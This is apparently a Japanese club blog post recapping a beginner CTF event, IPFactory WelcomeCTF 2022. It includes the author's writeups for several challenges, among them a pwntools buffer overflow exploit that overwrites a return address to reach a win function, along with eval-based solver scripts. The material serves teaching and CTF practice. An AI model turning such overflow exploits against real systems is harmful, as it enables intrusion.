IPFactory WelcomeCTF 2022 開催記&作問者writeup
概要
2022/05/14 10:00 ~ 22:00
昨年度同様,新入生をターゲットとしたCTFを開催し,有望な新入生を発見したいという願望で開催を頼んだ(俺はもう部長では無いので).
スケジュール感は昨年以上に雑で,直前に全部なんとかしたみたいな感じ.
今回もインフラは現部長のmorioka12に任せっきりだったが,作問のリソースが卒業年次のメンバー以外にも割り当てられたのは良かった.
作問者writeup
Pwn
昨年の経験からどうせ解かれないのがわかっていたので,半分使いまわしみたいな構成になった.他の作問もあって忙しいので許してくれ.
案の定ほとんど解かれなかった.
Pwnは全部俺が作る事になってしまった…
来年以降は是非後輩に作問してもらいたい(いなければやるけど)
てけいさん
昔のSECCONか何かであったてけいさんみたいな問題.
ランダムな値の加減乗算を行う.
パースしていい感じにやっても良いが,eval
で良い.
#!/usr/bin/env python3
from pwn import *
import os
context.log_level = 'critical'
io = remote(os.getenv('PWN_HOST', 'localhost'), 4000)
for _ in range(100):
line = io.readline().decode('utf-8', 'ignore')
ans = eval(line)
io.sendlineafter(b'= ', str(ans).encode('utf-8'))
print(io.recvuntil(b'flag{').decode('utf-8', 'ignore'), end='')
print(io.recvuntil(b'}').decode('utf-8', 'ignore'))
去年も似たようなの出した
てけいさん…?
信用できない入力をeval
するな.という問題.
さっきの問題と同じ用に見えるが,サーバがたまに"exit(1)"
を出してくるのでeval
してると失敗する.
丁寧にパースしてやるか,例外処理で良い.
#!/usr/bin/env python3
from pwn import *
context.log_level = 'critical'
io = remote('localhost', 4001)
line = io.readline().decode('utf-8', 'ignore')
try:
while True:
if '+' in line or '-' in line or '*' in line:
io.recvuntil(b'= ')
io.sendline(str(eval(line)).encode('utf-8'))
else:
print(line)
line = io.readline().decode('utf-8', 'ignore')
except:
exit(0)
Welcomebof
ここまで来てやっとPwnっぽくなるが,0solvedだった.かなしい
普通にBOFでリターンアドレス書き換えるやつ.canaryも無い
#!/usr/bin/env python3
from pwn import *
binfile = 'chall'
context.log_level = 'critical'
e = ELF(binfile)
context.binary = binfile
io = remote('localhost', 4002)
pad = b'a' * 0x12
payload = pad + pack(e.sym['win'])
io.sendlineafter(b'name?\n', payload)
io.interactive()
Rev
初心者向けとはいえ,stringsするだけ問題みたいなのはRevじゃない気がするので出さなかった.後悔している.
誰も解いてくれなかった
only_read
入力値の文字比較しているが,indexがバラバラなのでoperandのoffset見ていい感じに並べ替える問題.
indexバラバラにしたのが難しかったのか,0solvedだった.Ghidraだとシュッと解けるっぽい.
感想
今年も強い新入生がいて,普通に4年生に勝って優勝したりしていたのでうれしい.
やってて思ったが,サークルの性質上,個人への依存は避けられない気がするので,依存先を切り替えていく方針で行くしかなさそう.
あと開催中は運営でBGAやってた.UNOみたいな奴とかCuBirdsとか楽しかった.
Comments